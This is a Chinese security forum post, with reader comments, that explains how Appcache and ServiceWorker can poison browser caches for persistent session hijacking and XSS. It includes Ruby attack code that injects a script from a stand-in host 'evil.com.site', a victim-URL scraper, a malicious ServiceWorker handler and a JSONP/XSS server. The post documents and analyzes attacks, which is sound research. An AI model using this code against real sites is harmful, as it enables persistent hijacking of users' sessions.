利用 Appcache 和 ServiceWorker 进行持久型session hijacking 和 XSS

小饼仔 | 2015-08-20 14:52

看了篇文章 Using Appcache and ServiceWorker for Evil,讲的是黑下服务器后,通过 Middlekit 技术,污染每个访问者的浏览器cache,通过这个方法,我们能够改变请求的响应,将请求代理到我们的server,造成持久的session hijacking 和 XSS。

PS:老外思路确实猥琐!

翻译或理解有误,欢迎指出~

下面是示意图

示意图

文件具体介绍了浏览器下两种攻击方法

- 利用浏览器的 Appcache 造成持久的cache poisoning

- 利用ServiceWorker 来更改所有请求的响应(Chrome下)

AppCache

简单介绍

随着移动互联网越来越普及, 在移动端采用web技术解决跨平台、快速部署、快速发布的方案也越来越多。 但对于web方式实现的app又面临者网络的强依赖,对网速和流量有较高要求,针对此问题html提出了AppCache方案, 用于解决web离线缓存问题

AppCache详细介绍可以参考HTML5 AppCache机制分析

理解了AppCache的原理,后面的会好理解些

影响范围:Appcache在所有新版浏览器中都得到了支持,参考 http://caniuse.com/#search=appcache

首先说一下示例代码大体思路:

1. 首先在server上添加一个路由请求

/a.appcache

请求返回内容为浏览器需要缓存的页面路径等信息,需要有一定格式

并设置响应头

response.headers['cache-control'] = 'max-age=3155760000' # 缓存超时时间
response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' #表明是cache-manifest文件

浏览器根据该文件内容来缓存指定的页面。

2. 然后创建一个恶意页面这里为 middlekit.html,需要在内容的 html 标签里加一个属性,

<html manifest='/a.appcache'>

用于加载a.appcache,告诉浏览器需要缓存

然后其他内容随可以为恶意js等。

当然也可以修改其他访问多的页面内容,添加manifest,比如入口页index.html

3. 用户访问 2 中的恶意页面 middlekit.html,浏览器载入a.appcache,然后根据内容缓存我们指定的文件,而这些文件的内容,我们是可以替换的,比如加入xss等恶意代码。

4. 用户后续请求这些文件,将会载入本地的缓存,而本地缓存文件包含了恶意代码。

正常来说,浏览器从缓存中拿文件时,都会向服务器请求相应cache-manifest文件,如果cache-manifest文件被修改过,就会修改或删除本地的缓存。但是如果cache-manifest本身在缓存的列表之中,浏览器就会从缓存中拿,而不会请求服务器。

还有就是无法通过javascript来删除缓存,这就使得只要缓存一次,除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS

PS. wifi下的中间人攻击(MitM),也可以替换是http的响应,达到同样的目的。

下面是代码,用的是ruby 微型Web框架 sinatra

require 'sinatra'
# 替换响应内容
wire = lambda do
  if params[:utm_medium]
    r=  "real content"
  else
    r=<<HTML
<html manifest='/a.appcache'>
<script src="https://evil.com.site/middlekit.js"></script>
<script>
function load(url){
x=new XMLHttpRequest;
x.open('get',url);

x.setRequestHeader('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
 x.setRequestHeader('Cache-Control','max-age=0');
x.setRequestHeader('Upgrade-Insecure-Requests','1');
x.send();

x.onreadystatechange=function(){
  if(x.readyState==4){
    document.write(x.responseText);
    //document.body.parentElement.innerHTML = x.responseText;
  }
}
}
if(location.href.indexOf("?") != -1){

  var u = location.href + "&utm_medium=1";
}else{
  var u = location.href + "?utm_medium=1";
}
//history.pushState("","",url);
console.log("Infected")
load(u);
</script>
</html>
HTML
  end
  r
end

# 路由path
pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple}
 # 替换响应内容
pages.each{|page|

  get page, &wire
}
# 响应/a.appcache
get '/a.appcache' do
  response.headers['cache-control'] = 'max-age=3155760000'
  response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8'
"CACHE MANIFEST
/a.appcache
#{pages.join("\n")}
"
end

测试的时候需要修改下hosts文件,添加

127.0.0.1 sakurity.com

本地执行后,chrome://appcache-internals 缓存内容

chrome://appcache-internals 缓存内容

打开任意一个缓存后链接,显示从cache取

打开任意一个缓存后链接,显示从cache取

还有因为在 manifest 中需要指定缓存文件,所以尽可能多的收集URL才能让user agent cache多一些。比如可以利用google site关键字,site:victim.com

作者给出的通过google来收集url的ruby代码

require 'open-uri'
f=open('https://www.google.ru/search?q=site%3Asakurity.com&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8').read

def get_pages(domain)
  f=open('https://www.google.ru/search?q=site%3A'+domain+'&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=10&num=100&').read
   r = f.scan /http:\/\/#{domain}(.*?)[&%]/im
  puts r.flatten.uniq.join(' ')
end
get_pages 'sakurity.com'

在收集过程中,可以收集一些用户相关的url,比如“/settings” or “/homakov/direct_messages”。

ServiceWorker

介绍:

Service Worker,我们可以用它来进行本地缓存,相当于一个本地的proxy。说起缓存,我们会想起我们常用的一些缓存技术来缓存我们的静态资源,但是老的方式是不支持调试的,灵活性不高。使用Service Worker来进行缓存,我们可以用javascript代码来拦截浏览器的http请求,并设置缓存的文件,直接返回,不经过web服务器,然后,做更多你想做的事情。

如果我们使用了Service Worker做缓存,浏览器http请求会先经过Service Worker,通过url mapping去匹配,如果匹配到了,则使用缓存数据,如果匹配失败,则继续执行你指定的动作。一般情况下,匹配失败则让页面显示“网页无法打开”。

上面是Service Worker的基本使用场景,当然,不仅仅局限于数据缓存。

详细可参考 初识ServiceWorker

影响范围:Chrome on desktop and only over https: websites

但危害比Appcache更大,但范围有限。

利用 ServiceWorker ,我们不需要为每一个页面都设置缓存,它能够拦截所有请求,修改响应。能够通过一个worker来控制整个domain

js代码

onfetch=function(e){
    e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}}))
}

为了安装ServiceWorker ,浏览器会判断响应头中包含

content-type:text/javascript

那这个怎么办呢?

许多JSONP接口都会返回任意的JS代码。所以可以结合JSONP

示例服务器端代码

# Try to get persistent XSS on https://clientsit.herokuapp.com/
# 1. The user loads the /xss link you crafted
# 2. The user closes the tab and opens any other page
# 3. The user sees an alert.
# PS. not ruby specific. For Chrome.

get '/jsonp' do
  response.headers['content-type'] = 'text/javascript'
  "#{params[:callback]}(0)"
end

get '/xss' do
  response.headers['x-xss-protection'] = '0;'

  "<html><body>Hello, #{params[:user]}</body></html>"
end

演示地址

昨天试了下,还是可以执行的,今天就被Chrome XSS Auditor拦了

可以说

XSS + JSONP + ServiceWorker = Permanent XSS on every page

总结

Appcache 修复起来非常困难,因为缓存是在客户端。它可以被作为完美长期的 cache poisoning tool。当我们访问的服务器被控制或不安全的连接(中间人攻击)会受到该攻击影响

ServiceWorker是一项新兴技术,实现时需要考虑很多问题,比如和JSONP一起使用的情况。让任意响应为 text/javascript 成为一个ServiceWorker是非常糟糕的主意。至少可以添加额外的响应头 Service-Worker:true 或 准确的指明 Content-Type:text/javascript-serviceworker 来加以限制

[原文地址]

各种吐槽:

1#

hkAssassin | 2015-08-20 15:28

不错

2#

海盗湾V | 2015-08-20 19:37

赞一个。。

3#

小饼仔 | 2015-08-21 15:03

@海盗湾V @hkAssassin 感觉如果利用起来,危害不小,可以试试

4#

insight-labs (Root Yourself in Success) | 2015-08-21 16:25

除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS

很实用的技术啊

5#

hkAssassin | 2015-08-21 17:25

@小饼仔 是的。危害不小

6#

小饼仔 | 2015-08-21 18:27

@insight-labs 修复方式是让用户自己手动删除,确实不实际

7#

超蓝 (换个马甲好好做人,请叫我暧昧) | 2015-08-21 20:51

6666

够猥琐

8#

debug | 2015-08-24 09:14

思路不错

manifest 文件需要配置正确的 MIME-type,即 "text/cache-manifest"。必须在 web 服务器上进行配置。

9#

爱捣蛋的鬼 | 2015-08-24 14:29

除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS

。。都知道这个恶意代码了, 如果修改了话, 那肯定会更改版本号了,让缓存失效~

10#

爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-08-24 14:59

刁刁的

11#

小饼仔 | 2015-08-24 15:02

@爱捣蛋的鬼 正常来说manifest如果没有被缓存,服务器端如果更新了,本地缓存也会修改。如果把manifest本身也加到缓存列表中,浏览器就不会去服务端拿manifest文件了。

12#

爱捣蛋的鬼 | 2015-08-24 17:30

@小饼仔 了解了,这个屌,我忘记了这个缓存描述文件,本身自己被缓存了~~~